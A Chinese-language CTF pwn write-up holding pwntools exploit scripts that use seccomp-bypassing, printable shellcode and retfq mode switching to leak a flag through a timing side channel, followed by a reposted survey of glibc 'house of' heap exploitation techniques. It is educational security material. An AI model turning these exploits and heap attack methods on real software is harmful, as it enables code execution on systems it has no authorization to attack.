29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding: utf-8 -*-  
from pwn import *
import time

context(arch="amd64", os="linux") # , log_level = "debug")


# 判断第 index 个字符是否是 chdef pwn(p, index, ch):
# 运行时需要去掉 shellcode 中的注释
# ; open(0x10039, 0)
# ; 0x10039 这个地址存放文件名
# ; fd 存放在 rax shellcode = """
push 0x10039 pop rdi xor esi, esi push 2 pop rax syscall
mov rdi, rax xor eax, eax push 0x50 pop rdx push 0x10040 pop rsi syscall
loop: cmp byte ptr[rsi+{0}], {1} jz loop ret """.format(index, ch)
# ; 此时 rsi 存放的即为保存 flag 的地址
# ; 检查 flag[index] 是否等于 ch # ; 若相等便卡在这个循环里面

# 在这里写入文件名
payload = asm(shellcode).ljust(0x40 - 7, 'a') + './flag\x00'
p.sendafter("Welcome to silent execution-box.\n", payload)


flag = ""
index = 0
last = 'a'
while True:
# 逐字符爆破
update = False
# 对于每个字符,遍历所有打印字符 (ascii 码从 32 到 127) for ch in range(32, 127):
sh = process("./chall")
# 远程比较容易断,可以多次连接
'''
for i in range(10): try: sh = remote("1.1.1.1", "11111") break except: sleep(3) continue ''' pwn(sh, index, ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
pass
end = time.time()
sh.close()
# 测试接收时延,超过一定时限则说明在 pwn() 函数中插入 shellcode 后卡循环了,即 flag 中的第 index 个字符是 ch if (end - start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break

assert (update == True)

if (last == '}'):
break

index += 1

print("flag: " + flag)

RW 缺 O

参考资料:shellcode 的艺术
详情请看文章中的 “六、禁用了system和open,还限制了shellcode字符”,里面用 ex 师傅的一道题目为例。
在 ex 师傅的这道题中,程序是 64 位的,禁用了 open 函数,但是允许调用 fstat 函数(该函数的 64 位系统调用号为 5,这个是 open 函数的 32 位系统调用号)。因此,这道题的基本思路就是利用 retfq 汇编指令进行 32 位和 64 位系统格式之间的切换,在 32 位格式下执行 open 函数打开 flag 文件,在 64 位格式下执行输入输出。
而且,由于这道题限制输入的 shellcode 必须是可打印字符,在写 shellcode 的时候还需要使用一些技巧,基本思路就是:对于一些(对应的字节码是不可打印字符)的汇编指令,利用可打印字符之间的算术操作(主要是异或)来获取。具体可以参考文章中的 “三、限制字符”。
下面是文章中的代码,自己加了一点注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./shellcode')
# p = remote("nc.eonew.cn","10011")
p.recvuntil("shellcode: ")

append_x86 = '''
push ebx
pop ebx
'''
append = '''
/* 机器码: 52 5a */
push rdx
pop rdx
'''

shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140

/* s = "flag" */
push 0x67616c66

/* ebx = &s */
push esp
pop ebx

/* ecx = 0 */
xor ecx,ecx

mov eax,5
int 0x80

mov ecx,eax
'''

shellcode_flag = '''
/* retfq: mode_32 -> mode_64*/
push 0x33
push 0x40404089
retfq

/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag, arch = 'amd64', os = 'linux')
shellcode = ''

# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
/* syscall 的机器码是 0f 05, 都是不可打印字符. */
/* 用异或运算来解决这个问题: 0x0f = 0x5d^0x52, 0x05 = 0x5f^0x5a. */
/* 其中 0x52,0x5a 由 append 提供. */
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/

push 0x40404040 /*set rsi*/
pop rsi

push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40 /*set rdx*/
push 0x70
pop rdx

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl

push rdx /*set rax*/
pop rax
xor al,0x70
'''

shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

# mmap
shellcode += shellcode_mmap
shellcode += append

# read shellcode
shellcode += shellcode_read
shellcode += append

# mode_64 -> mode_32
shellcode += shellcode_retfq
shellcode += append

shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print hex(len(shellcode))

#gdb.attach(p,"b *0x40027f\nb*0x4002eb\nc\nc\nsi\n")
p.sendline(shellcode)
pause()

p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
p.interactive()

R 缺 OW (例题: 2021-强网杯-初赛-shellcode)

这道题其实就是 “R 缺 OW”,上面两种情况的融合怪。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
#coding:utf-8
from pwn import *
import time

# context.log_level = 'debug'

append_x86 = '''
push ebx
pop ebx
'''
append = '''
push rdx
pop rdx
'''

shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140

/* s = "flag" */
push 0x67616c66

/* ebx = &s */
push esp
pop ebx

/* ecx = 0 */
xor ecx,ecx

mov eax,5
int 0x80

mov ecx,eax
'''
shellcode_x86 = asm(shellcode_x86)

shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/

push 0x40404040 /*set rsi*/
pop rsi

push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40 /*set rdx*/
push 0x70
pop rdx

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl

push rdx /*set rax*/
pop rax
xor al,0x70
'''

shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

def pwn(p, index, ch):
shellcode = ''

# mmap
shellcode += shellcode_mmap
shellcode += append

# read shellcode
shellcode += shellcode_read
shellcode += append

# mode_64 -> mode_32
shellcode += shellcode_retfq
shellcode += append

shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
#print hex(len(shellcode))

p.sendline(shellcode)
time.sleep(0.05)

shellcode_flag ="""
push 0x33
push 0x40404089
retfq

/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

loop:
cmp byte ptr[rsi+{0}], {1}
jz loop
ret
""".format(index, ch)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')

p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)

flag = ""
index = 0
last = 'a'
while True:
update = False
for ch in range(32,127):
sh = process("./shellcode")
pwn(sh, index, ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
pass
end = time.time()
sh.close()
if(end-start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break

assert(update == True)

if(last == '}'):
break

index += 1

print("flag: " + flag)

转载自Glibc堆利用之house of系列总结 - roderick - record and learn! (roderickchan.cn)

1 - 前言

Glibchouse of 系列攻击手法基于都是围绕着堆利用和 IO FILE 利用。还有很多堆利用手法也非常经典,但是由于其没有被冠以 house of xxxx,故没有收录到本文中。如果想学习所有的详细的堆攻击手法,强烈建议 follow 仓库 how2heap进行学习。我相信,只要把 how2heap 里面的每一个堆利用手法都学懂学透了,glibc 堆利用你将尽在掌握。

在开始系列总结之前,我会给出一个表格,表格里面分别是 house of xxxx 和对应的优秀的解析文章,在此非常感谢各位师傅们的总结。如果你在阅读本文的过程中想完整地查看某一个手法地详细利用过程,那么可以直接回到表格,点击对应的链接进行学习。目前的最新版本为 2.37,但是,目前的 ubuntu:23.04 还没开始用 glibc-2.37,使用的仍然是 glibc-2.36

如果还有哪些 house of xxxx 的利用手法没有收录进来,或你对本文存有一些疑问,或者你发现本文某些内容编写错误,还请留言指正。

需要注意的是,除了关注各种 house of 利用技巧本身,更重要的是,需要关注该利用技巧背后的思想和原理。如果你能从这一系列的利用手法中提炼出一些通用的攻击向量或者攻击思想,日后在面对其他的场景,你也能更快的找到系统的漏洞点并加以利用。学习 glibc 堆利用更多的是为了举一反三,为了更好地掌握漏洞挖掘模式、漏洞分析方法,而不仅仅是为了比赛。

house of 系列的表格如下,适用版本不考虑低于 glibc-2.23 的版本。我将在下文中进一步阐述每一个利用手法的原理、使用场景与适用范围。

攻击方法 影响范围 学习链接
house of spirit 2.23—— 至今 堆利用系列之 house of spirit - 安全客 - 安全资讯平台 (anquanke.com)
house of einherjar 2.23—— 至今 PWN——House Of Einherjar CTF Wiki 例题详解 - 安全客 - 安全资讯平台 (anquanke.com)
house of force 2.23——2.29 Top chunk 劫持:House of force 攻击 - 安全客 - 安全资讯平台 (anquanke.com)
house of lore 2.23—— 至今 House of Lore - CTF Wiki (ctf-wiki.org)
house of orange 2.23——2.26 House of orange - 安全客 - 安全资讯平台 (anquanke.com)
house of rabbit 2.23——2.28 http://p4nda.top/2018/04/18/house-of-rabbit/
house of roman 2.23——2.29 House of Roman - CTF Wiki (ctf-wiki.org)
house of storm 2.23——2.29 House of storm 原理及利用 - 安全客 - 安全资讯平台 (anquanke.com)
house of corrosion 2.23—— 至今 House-of-Corrosion 一种新的堆利用技巧 - 先知社区 (aliyun.com)
house of husk 2.23—— 至今 house-of-husk 学习笔记 - 安全客 - 安全资讯平台 (anquanke.com)
house of atum 2.26——2.30 https://abf1ag.github.io/2021/06/11/house-of-atum/
house of kauri 2.26——2.32 Overview of GLIBC heap exploitation techniques (0x434b.dev)
house of fun 2.23——2.30 Overview of GLIBC heap exploitation techniques (0x434b.dev)
house of mind 2.23—— 至今 how2heap/house_of_mind_fastbin.c at master · shellphish/how2heap (github.com)
house of muney 2.23—— 至今 House of Muney 分析 - 安全客 - 安全资讯平台 (anquanke.com)
house of botcake 2.23—— 至今 奇安信攻防社区 - 深入理解 House of Botcake 堆利用手法 (butian.net)
house of rust 2.26—— 至今 c4ebt/House-of-Rust
house of crust 2.26——2.37 c4ebt/House-of-Rust
house of io 2.26—— 至今 Overview of GLIBC heap exploitation techniques (0x434b.dev)
house of banana 2.23—— 至今 house of banana - 安全客 - 安全资讯平台 (anquanke.com)
house of kiwi 2.23——2.36 House OF Kiwi - 安全客 - 安全资讯平台 (anquanke.com)
house of emma 2.23—— 至今 house of emma
house of pig 2.23—— 至今 house of pig 一个新的堆利用详解 - 安全客 - 安全资讯平台 (anquanke.com)
house of obstack 2.23—— 至今 一条新的 glibc IO_FILE 利用链:_IO_obstack_jumps 利用分析 - 跳跳糖 (tttang.com)
house of apple1 2.23—— 至今 House of Apple 一种新的 glibc 中 IO 攻击方法 (1) - roderick - record and learn! (roderickchan.cn)
house of apple2 2.23—— 至今 House of Apple 一种新的 glibc 中 IO 攻击方法 (2) - roderick - record and learn! (roderickchan.cn)
house of apple3 2.23—— 至今 House of Apple 一种新的 glibc 中 IO 攻击方法 (3) - roderick - record and learn! (roderickchan.cn)
house of gods 2.23——2.27 house-of-gods/HOUSE_OF_GODS.TXT at master · Milo-D/house-of-gods (github.com)

此外,阅读下文之前需要了解:

  • 下面所述的 chunk A,地址 A 指的是 chunk header 地址,而不是 user data 地址。
  • 漏洞成因基本上都是堆溢出、UAF

2-house of 系列

2.1-house of spirit

漏洞成因

堆溢出写

适用范围

  • 2.23—— 至今

利用原理

利用堆溢出,修改 chunk size,伪造出 fake chunk,然后通过堆的释放和排布,控制 fake chunkhouse of spirit 的操作思路有很多,比如可以按如下操作进行利用:

  • 申请 chunk A、chunk B、chunk C、chunk D
  • A 写操作的时候溢出,修改 Bsize 域,使其能包括 chunk C
  • 释放 B,然后把 B 申请回来,再释放 C,则可以通过读写 B 来控制 C 的内容

相关技巧

起初 house of spirit 主要是针对 fastbin,后来引入了 tcachebin 后,也可以使用 tcachebin 版本的 house of spirit。利用方法与 fastbin 场景下类似,注意好不同版本下的检查条件即可。

利用效果

  • 劫持 fastbin/tcachebinfd 之后,可以任意地址分配、任意地址读写

2.2-house of einherjar

漏洞成因

溢出写、off by oneoff by null

适用范围

  • 2.23—— 至今
  • 可分配大于处于 unsortedbinchunk

利用原理

利用 off by null 修改掉 chunksize 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping

  • 申请 chunk A、chunk B、chunk C、chunk Dchunk D 用来做 gapchunk A、chunk C 都要处于 unsortedbin 范围
  • 释放 A,进入 unsortedbin
  • B 写操作的时候存在 off by null,修改了 CP
  • 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
  • 读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头

相关技巧

虽然该利用技巧至今仍可以利用,但是需要对 unlink 绕过的条件随着版本的增加有所变化。

最开始的 unlink 的代码是:

| 1 2 3 4 5 6 7 8 9 10 | /* Take a chunk off a bin list */ #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ // ..... \ } \ } |
| ———————— | ———————————————————— |
| | |

只需要绕过__builtin_expect (FD->bk != P || BK->fd != P, 0) 即可,因此,不需要伪造地址处于高位的 chunkpresize 域。

高版本的 unlink 的条件是:

新增了 chunksize (p) != prev_size (next_chunk (p)),对 chunksize 有了检查,伪造的时候需要绕过。

利用效果

  • 构造 chunk overlap 后,可以任意地址分配
  • 结合其他方法进行任意地址读写

例题

例题:

2016_seccon_tinypad

2.3-house of force

漏洞成因

堆溢出写 top_chunk

适用范围

  • 2.23——2.29
  • 可分配任意大小的 chunk
  • 需要泄露或已知地址

利用原理

top_chunk 的利用,过程如下:

  • 申请 chunk A
  • A 的时候溢出,修改 top_chunksize 为很大的数
  • 分配很大的 chunk 到任意已知地址

相关技巧

注意,在 glibc-2.29 后加入了检测,house of force 基本失效:

image-20230303194137930

利用效果

  • 任意地址分配
  • 任意地址读写

2.4-house of lore

漏洞成因

堆溢出、use after freeedit after free

适用范围

  • 2.23—— 至今
  • 需要泄露或已知地址

利用原理

控制 smallbinbk 指针,示例如下:

  • 申请 chunk A、chunk B、chunk C,其中 chunk B 大小位于 smallbin
  • 释放 B,申请更大的 chunk D,使得 B 进入 smallbin
  • A,溢出修改 Bbk,指向地址 X,这里有 fake chunk
  • 布置 X->fd == &B
  • 分配两次后即可取出位于 X 地址处的 fake chunk

相关技巧

在引入了 tcache stash unlink 的时候,需要注意绕过:

要么使其满足 tc_victim = last (bin)) == bin、要么使其满足:tcache->counts[tc_idx] ≥ mp_.tcache_count。否则可能会因为非法内存访问使得程序 down 掉。

实际上,这个技巧用得不是很多,因为在同等条件下,更偏向于利用 fastbin/tcachebin

利用效果

  • 任意地址分配
  • 任意地址读写

2.5-house of orange

漏洞成因

堆溢出写

适用范围

  • 2.23——2.26
  • 没有 free
  • 可以 unsortedbin attack

利用原理

house of orange 可以说是开启了堆与 IO 组合利用的先河,是非常经典、漂亮、精彩的利用组合技。利用过程还要结合 top_chunk 的性质,利用过程如下:

stage1

  • 申请 chunk A,假设此时的 top_chunksize0xWXYZ
  • A,溢出修改 top_chunksize0xXYZ(需要满足页对齐的检测条件)
  • 申请一个大于 0xXYZ 大小的 chunk,此时 top_chunk 会进行 grow,并将原来的 old top_chunk 释放进入 unsortedbin

stage2

  • 溢出写 A,修改处于 unsortedbin 中的 old top_chunk,修改其 size0x61,其 bk&_IO_list_all-0x10,同时伪造好 IO_FILE 结构
  • 申请非 0x60 大小的 chunk 的时候,首先触发 unsortedbin attack,将_IO_list_all 修改为 main_arena+88,然后 unsortedbin chunk 会进入到 smallbin,大小为 0x60;接着遍历 unsortedbin 的时候触发了 malloc_printerr,然后调用链为: malloc_printerr -> libc_message -> abort -> _IO_flush_all_lockp,调用到伪造的 vtable 里面的函数指针

相关技巧

  • glibc-2.24 后加入了 vtablecheck,不能任意地址伪造 vatble 了,但是可以利用 IO_str_jumps 结构进行利用。
  • glibc-2.26 后,malloc_printerr 不再刷新 IO 流了,所以该方法失效
  • 由于_mode 的正负性是随机的,影响判断条件,大概有 1/2 的概率会利用失败,多试几次就好

利用效果

  • 任意函数执行
  • 任意命令执行

2.6-house of rabbit

漏洞成因

堆溢出写、use after freeedit after free

适用范围

  • 2.23——2.26
  • 超过 0x400 大小的堆分配
  • 可以写 fastbinfd 或者 size

利用原理

该利用技巧的核心是 malloc_consolidate 函数,当检测到有 fastbin 的时候,会取出每一个 fastbin chunk,将其放置到 unsortedbin 中,并进行合并。以修改 fd 为例,利用过程如下:

  • 申请 chunk Achunk B,其中 chunk A 的大小位于 fastbin 范围
  • 释放 chunk A,使其进入到 fastbin
  • 利用 use after free,修改 A->fd 指向地址 X,需要伪造好 fake chunk,使其不执行 unlink 或者绕过 unlink
  • 分配足够大的 chunk,或者释放 0x10000 以上的 chunk,只要能触发 malloc_consolidate 即可
  • 此时 fake chunk 被放到了 unsortedbin,或者进入到对应的 smallbin/largebin
  • 取出 fake chunk 进行读写即可

相关技巧

  • 2.26 加入了 unlinkpresize 的检查
  • 2.27 加入了 fastbin 的检查

抓住重点:house of rabbit 是对 malloc_consolidate 的利用。因此,不一定要按照原作者的思路来,他的思路需要满足的条件太多了。

利用效果

  • 任意地址分配
  • 任意地址读写

2.7-house of roman

漏洞成因

use after free、堆溢出

适用范围

  • 2.23——2.29
  • 可以 use after edit
  • 不需要泄露地址
  • 需要爆破 12 bit,成功的概率 1/4096

利用原理

可以说这个技巧是 fastbin attack + unsortedbin attack 的组合技,利用思路如下:

  • 申请 chunk Achunk Bchunk Cchunk Dchunk B 的大小为 0x70
  • 释放 chunk B,使其进入到 fastbin[0x70]
  • 溢出写 A,修改 chunk Bsize,使其大小在 unsortedbin 范围
  • 再次释放 BB 进入 unsortedbin
  • 部分写 Bfd,使得 fd 指向 malloc_hook-0x23
  • 利用 A 的溢出写修正 Bsize,连续分配两次 0x70,即可分配到 malloc_hook 上方
  • 触发 unsortedbin attack,将__malloc_hook 写为 main_arena+88
  • 部分写__malloc_hook 的低三个字节,修改为 one_gadget
  • 再次 malloc 即可拿到 shell

相关技巧

  • 使用 house of roman 的时候,需要采用多线程爆破
  • 可以使用其他方法代替,比如先攻击 stdout 泄露地址,使得爆破的成本降低

利用效果

  • 执行 one_gadget
  • 绕过 ASLR

2.8-house of storm

漏洞成因

堆溢出、use after freeedit after free

适用范围

  • 2.23——2.29
  • 可以进行 unsortedbin attack
  • 可以进行 largebin attack,修改 bkbk_nextsize
  • 可以分配 0x50 大小的 chunk

利用原理

house of storm 也是一款组合技,利用开启了 PIEx64 程序的堆地址总是 0x55xxxx... 或者 0x56xxxx... 开头这一特性,使用一次 largebin attack 写两个堆地址,使用一次 unsortedbin attack 写一次 libc 地址,可以实现任意地址分配。虽然 house of storm 最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。利用思路如下:

  • 进行一次 unsortedbin attack,其 bk 修改为 addr
  • 进行一次 largebin attack,其 bk 修改为 addr+0x10bk_nextsize 修改为 addr-0x20+3
  • 申请 0x50 大小的 chunk 即可申请到 addr

相关技巧

需要注意的有:

  • 该方法成功的几率是 50%,因为 0x55 会触发 assert 断言,0x56 才能成功
  • 申请 addr 处的 chunk 的时候需要从 unsortedbin 里面取

利用效果

  • 任意地址分配

2.9-house of corrosion

漏洞成因

堆溢出、use after free

适用范围

  • 2.23—— 至今
  • 任意大小分配
  • 可以修改 global_max_fast
  • 不需要泄露地址

利用原理

一个非常 tricky 的方法,可以绕过 aslr,不需要泄露地址都能达成 rce,可以很很多方法结合起来应用。先说利用原理:

  • 使用 unsortedbin attack/largebin attack 等方法,成功修改 global_max_fast 的值为很大的值。如果使用 unsortedbin attack,不需要泄露地址,爆破 1/16 即可
  • 申请任意大小的 chunk,这些 chunk 都会被视为 fastbin chunk,然后利用这些 chunk 来进行读和写

此时的计算公式为:

1
chunk size = (chunk addr - &main_arena.fastbinsY) x 2 + 0x20

读原语:

  • 假设对应的地址 X 上存储着 Y,现在的目的是泄露出 Y
  • 根据偏移计算出来 chunk size,修改 chunk Asize 为计算出来的值,释放 chunk A 到地址 X
  • 此时,A->fd 就被写入了 Y
  • 通过打印即可泄露出 Y 的信息

写原语 1

  • 假设对应的地址 X 上存储着 Y,现在的目的是修改地址 X 存储的 Y 为其他值
  • 根据偏移计算出来 chunk size,修改 chunk Asize 为计算出来的值,释放 chunk A 到地址 X
  • 此时,A->fd 就被写入了 Y
  • 修改 A->fd 为目标值
  • 分配一次 chunk A 就可以把地址 X 存储的值为任意值

写原语 2

  • 假设地址 X 上存储着 Y、地址 M 上存储着 N,现在的目的是把 N 写到地址 X
  • 根据偏移计算 chunk size1,先释放 chunk A 到地址 X 处,此时有地址 X 处存储 chunk A 地址,chunk A->fdY
  • 根据偏移计算 chunk size2,再次释放 chunk A 到地址 M 处,此时有地址 M 处存储 chunk A 地址,chunk A->fdN
  • 修正 chunk A 的大小为 chunk size1,分配 1chunk 即可使得 N 转移到地址 X 处,当然在转移的过程中可以适当的修改 N

显然,借助写原语 2,即可在不需要泄露地址的前提下将__malloc_hook 等写为 one_gadget,爆破的概率是 1/4096

相关技巧

  • 虽然至今都能使用 house of corrosion,但是在 glibc-2.37 版本中,global_max_fast 的数据类型被修改为了 int8_u,进而导致可控的空间范围大幅度缩小。
  • house of corrosion 也可以拓展到 tcachebin
  • 适当控制 global_max_fast 的大小,把握控制的空间范围
  • 可以和 IO_FILE 结合起来泄露信息

利用效果

  • glibc 上的地址泄露
  • 执行 one_gadget

2.10-house of husk

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以修改__printf_arginfo_table__printf_function_table
  • 可触发格式化字符串解析

利用原理

严格来说,这个漏洞是与堆的关系并不是很大,主要是根据 printf 的机制进行利用。但是,该技术可以和很多堆利用手法结合起来。

调用处 1

利用方式为:

  • __printf_function_table__printf_arginfo_table 分别写为 chunk Achunk B 的地址
  • 设占位符为 α,此时 chunk B 的内容应该为 p64(0) x ord(α-2) + p64(one_gadget)

调用处 2

利用方式为:

  • __printf_function_table__printf_arginfo_table 分别写为 chunk Achunk B 的地址
  • 设占位符为 α,此时 chunk A 的内容应该为 p64(0) x ord(α-2) + p64(one_gadget)

该处调用在高版本被删除。

相关技巧

  • 该技巧一般和 largebin attack 结合起来
  • 在低于 2.36 版本中,__malloc_assert 中有格式化字符串的解析
  • 还有一个__printf_va_arg_table 也是可以利用的,但是条件比较苛刻

利用效果

  • 执行 one_gadget
  • 执行 rop 控制程序执行流

2.11-house of atum

漏洞成因

1
edit after free

适用范围

  • 2.26——2.30
  • 可以修改 tcachebinnextkey

利用原理

这是一个关于 tcachebin 的技巧,用于修改 chunk presize/size,利用过程如下:

  • 申请 chunk A,大小在 fastbin 范围内
  • 释放 A,连续释放 8 次,此时,Afd 被清 0A 也被放置到了 fastbin 里面
  • 申请一个 chunk,将其 fd 修改为 A - 0x10,此时 tcache 中的 counts6
  • 再申请一个 chunk,从 fastbin 里面取,但是会把 fastbin 里面剩余的一个 chunk 链入到 tcachebin
  • 再次分配就会分配到地址 A-0x10 处,就可以修改原来 Apresize/size

相关技巧

  • 2.30 之后逻辑变了,原来是判断 entry[idx]!=NULL2.31 之后判断 count[idx] > 0
  • 有时候需要绕过 tcache->key 的检测

利用效果

  • 修改 chunk size 以及 chunk presize

2.12-house of kauri

漏洞成因

堆溢出

适用范围

  • 2.26——2.32

利用原理

利用原理很简单,修改 tcachebinsize,然后使其被放到不同大小的 tcachebin 链表里面去。我感觉这个技巧是很基础的 tcachebin 技巧,甚至不应该被称之为 house of

相关技巧

利用效果

  • 多个 tcachebin 链表中存放同一个 chunk

2.13-house of fun

漏洞成因

堆溢出、use after free

适用范围

  • 2.23——2.30
  • 可以申请 largebin 范围的 chunk

利用原理

或许这个技巧应该叫做 largebin attack

在这个 sourceware.org Git - glibc.git/blobdiff - malloc/malloc.ccommit 被检测了:

image-20230306115614058

相关技巧

利用效果

  • 任意地址写堆地址

2.14-house of mind

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以分配任意大小的 chunk

利用原理

主要利用的是:

1 2 3 4 #define heap_for_ptr(ptr) \ ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) #define arena_for_chunk(ptr) \ (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)

如果是 non-mainareanchunk,会根据其地址找到 heapinfo,然后找到 malloc_state 结构体。

因此,利用技巧是:

  • 根据要释放的 fastbin chunk A 的堆地址,找到对应的 heap_for_ptr 地址
  • heapinfo 地址处伪造好相关变量,重点是 mstate 指针
  • 修改 chunk Anon-main 标志位,释放到伪造的 arena 里面,控制好偏移即可

相关技巧

  • 一般来说,可以分配任意大小的 chunk,还能堆溢出,很多技巧都能用
  • 这个技巧是希望大家关注对于 arena 的攻击
  • 甚至可以直接修改 thread_arena 这个变量

利用效果

  • 任意地址写堆地址

2.15-house of muney

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 能分配 mmapchunk
  • 能修改 mmapchunk 的大小

利用原理

这个技巧被称之为 steal heap from glibc。主要的点有以下几个:

  • libc.so.6 映射的地址空间,前面都是与符号表、哈希表、字符串表等重定位或者解析函数地址有关,前面一段的权限是 r--
  • mmap(NULL, ...) 是会分配到 libc.so.6 的上方的

基于这两个知识点,利用过程如下:

  • 申请 chunk A,假设为 0x40000 大小,则会走 mmap 申请,并且申请到 libc.so.6 的上方
  • 修改 chunk A 的大小为 0x45000,设置 MMAP 标志位
  • 释放 chunk A,则会把 libc.so.60x5000 的内存也释放掉
  • 再次申请 0x45000,就可以控制 libc.so.6 原来的符号表、哈希表等等
  • 触发一次 dl_runtime_resolve 等就能控制程序执行任意代码

相关技巧

  • 需要伪造的符号表、哈希表等需要逐步调试
  • 可以扩展为 steal heap from everywhere

利用效果

  • 任意代码执行

2.16-house of botcake

漏洞成因

1
double free

适用范围

  • 2.26—— 至今
  • 多次释放 chunk 的能力

利用原理

该技巧可以用于绕过 tcache->key 的检查,利用过程如下:

  • 申请 7 个大小相同,大小大于 0x80chunk,再申请三个,分别为 chunk AchunkBchunk C
  • 释放前 7 个和 chunk A,前面 7 个都会进入到 tcachebin 里面,chunk A 进入到 unsortedbin
  • 释放 chunk B,则 chunk B 会和 chunk A 合并
  • tcachebin 分配走一个
  • 再次释放 chunk B,此时 B 同时存在与 unsortedbintcachebin

相关技巧

  • 在高版本需要绕过指针保护的检查

利用效果

